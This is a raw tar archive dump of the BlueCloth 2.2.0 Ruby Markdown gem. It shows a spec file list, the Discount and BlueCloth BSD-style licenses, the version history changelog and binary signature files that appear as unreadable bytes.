spec/bluecloth/hrules_spec.rb spec/bluecloth/images_spec.rb spec/bluecloth/inline_html_spec.rb spec/bluecloth/links_spec.rb spec/bluecloth/lists_spec.rb spec/bluecloth/paragraphs_spec.rb spec/bluecloth/titles_spec.rb spec/bluecloth_spec.rb spec/bugfix_spec.rb spec/contributions_spec.rb spec/data/antsugar.txt spec/data/markdowntest/Amps and angle encoding.html spec/data/markdowntest/Amps and angle encoding.text spec/data/markdowntest/Auto links.html spec/data/markdowntest/Auto links.text spec/data/markdowntest/Backslash escapes.html spec/data/markdowntest/Backslash escapes.text spec/data/markdowntest/Blockquotes with code blocks.html spec/data/markdowntest/Blockquotes with code blocks.text spec/data/markdowntest/Code Blocks.html spec/data/markdowntest/Code Blocks.text spec/data/markdowntest/Code Spans.html spec/data/markdowntest/Code Spans.text spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.html spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.text spec/data/markdowntest/Horizontal rules.html spec/data/markdowntest/Horizontal rules.text spec/data/markdowntest/Inline HTML (Advanced).html spec/data/markdowntest/Inline HTML (Advanced).text spec/data/markdowntest/Inline HTML (Simple).html spec/data/markdowntest/Inline HTML (Simple).text spec/data/markdowntest/Inline HTML comments.html spec/data/markdowntest/Inline HTML comments.text spec/data/markdowntest/Links, inline style.html spec/data/markdowntest/Links, inline style.text spec/data/markdowntest/Links, reference style.html spec/data/markdowntest/Links, reference style.text spec/data/markdowntest/Links, shortcut references.html spec/data/markdowntest/Links, shortcut references.text spec/data/markdowntest/Literal quotes in titles.html spec/data/markdowntest/Literal quotes in titles.text spec/data/markdowntest/Markdown Documentation - Basics.html spec/data/markdowntest/Markdown Documentation - Basics.text spec/data/markdowntest/Markdown Documentation - Syntax.html spec/data/markdowntest/Markdown Documentation - Syntax.text spec/data/markdowntest/Nested blockquotes.html spec/data/markdowntest/Nested blockquotes.text spec/data/markdowntest/Ordered and unordered lists.html spec/data/markdowntest/Ordered and unordered lists.text spec/data/markdowntest/Strong and em together.html spec/data/markdowntest/Strong and em together.text spec/data/markdowntest/Tabs.html spec/data/markdowntest/Tabs.text spec/data/markdowntest/Tidyness.html spec/data/markdowntest/Tidyness.text spec/data/ml-announce.txt spec/data/re-overflow.txt spec/data/re-overflow2.txt spec/discount_spec.rb spec/lib/constants.rb spec/lib/helpers.rb spec/lib/matchers.rb spec/markdowntest_spec.rb bluecloth-2.2.0/LICENSE.discount0000644000175000017500000000447511665167136015734 0ustar boutilboutil->Copyright (C) 2007 David Loren Parsons. All rights reserved.<- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicence, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 1. Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution, and in the same place and form as other copyright, license and disclaimer information. 3. The end-user documentation included with the redistribution, if any, must include the following acknowledgment: This product includes software developed by David Loren Parsons in the same place and form as other third-party acknowledgments. Alternately, this acknowledgment may appear in the software itself, in the same form and location as other such third-party acknowledgments. 4. Except as contained in this notice, the name of David Loren Parsons shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from David Loren Parsons. THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID LOREN PARSONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. bluecloth-2.2.0/LICENSE0000644000175000017500000000273411665167136014101 0ustar boutilboutilCopyright (c) 2004-2011, Michael Granger All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the author/s, nor the names of the project's contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. bluecloth-2.2.0/History.rdoc0000644000175000017500000000551411665167136015405 0ustar boutilboutil== v2.2.0 [2011-11-01] Michael Granger - Config -> RbConfig (1.9.3 deprecation fix) - Adding a manpage for bin/bluecloth for packagers that require every binary have one (e.g., Debian) (fixes #78). Thanks to Cédric Boutillier for the contribution. - Updated for Discount 2.0.9 == v2.1.0 [2011-03-12] Michael Granger - Removed deprecated #filter_html, #filter_html= methods - Fixed inverted footnotes option logic; added specs for footnotes option. - Updated to Discount 2.0.8 == v2.0.11 [2011-02-10] Michael Granger Enhancements: * gem-testers support * Update to Discount 2.0.5 Bugfixes: * Removed unnecessary requires from top-level file * Fix for Windows devkit installs == v2.0.10 [2011-02-09] Michael Granger Enhancements: Updated to Discount 2.0.4: * Added configuration options for all of Discount's extensions. * Worked around a Discount bug when rendering the same document twice (appends a \0) == 2.0.9 [2011-01-17] Michael Granger Enhancements: * 1.9.2 compatibility * Updated to Discount 1.6.8 Bugfixes: * Transcode input to UTF8, then re-transcode back to the original encoding on the way out (fixes #63) == 2.0.8 [2010-09-23] Michael Granger Updated to Discount 1.6.6; add HTML5 tag support. == 2.0.7 [2010-08-11] Michael Granger Fixed m17n == 2.0.6 [2010-01-21] Michael Granger Enhancements: * HTML results now have the same encoding as the source Markdown text (fixes #63). * Native Windows gems. * Updated to Discount 1.5.8. Bugfixes * Fix a sefault when creating a BlueCloth object with an object other than a String. Closes #61 and #62. * Test for bzero (used in generate.c), and if it isn't defined (e.g., Windows using VC), define it in terms of memset(). == 2.0.5 [2010-01-16] Michael Granger * Set the top-level 'Markdown' constant as an alias for BlueCloth if it's not already set by something else. * Adding a spec to test out the DoS reported by Ben Sandofsky (refs #57). * Updated with Discount 1.4.4. == 2.0.4 [2009-07-15] Michael Granger * Updated to Discount 1.4.2. * Added some more tests for various Discount extensions. * Added support for the MKD_AUTOLINK and MKD_SAFELINK. * Fixing tests under Ruby 1.9.1. Thanks to Diego Elio Pettenò for the fix. * Adding Discount files for missing symbols on some platforms. == 2.0.3 [2009-06-15] Michael Granger Dependency fix. == 2.0.2 [2009-05-14] Michael Granger * Updated to Discount 1.4.0. * Added support for the MKD_TAGTEXT constant. == 2.0.1 [2009-05-14] Michael Granger Fixed the VERSION constant. == 2.0.0 [2009-03-25] Michael Granger Rewritten using Discount. bluecloth-2.2.0/.rspec0000644000175000017500000000000511665167136014176 0ustar boutilboutil-cfd bluecloth-2.2.0/.gemtest0000644000175000017500000000000011665167136014525 0ustar boutilboutilbluecloth-2.2.0/metadata.gz.sig0000644000175000017500000000040011665167136015763 0ustar boutilboutilZpl\:HV`PnfTolub`rMn_=7΀7(d"iCړ׹_xy3}u%.ѵgֳaS]5>mLW0[Dlm۩i^U.,b_`#R[H&#J!Tbluecloth-2.2.0/data.tar.gz.sig0000644000175000017500000000040011665167136015701 0ustar boutilboutilT9ppNc>)@$( T ͨX_@7 >YS(_mi)ߏKc6Ꮲꊧ>~=֖s-BV0x1VhS{[ GoUC3nWAlaU]utm`r#~s_nxbfd%xBx>aso3=lzr0d3]aP3L j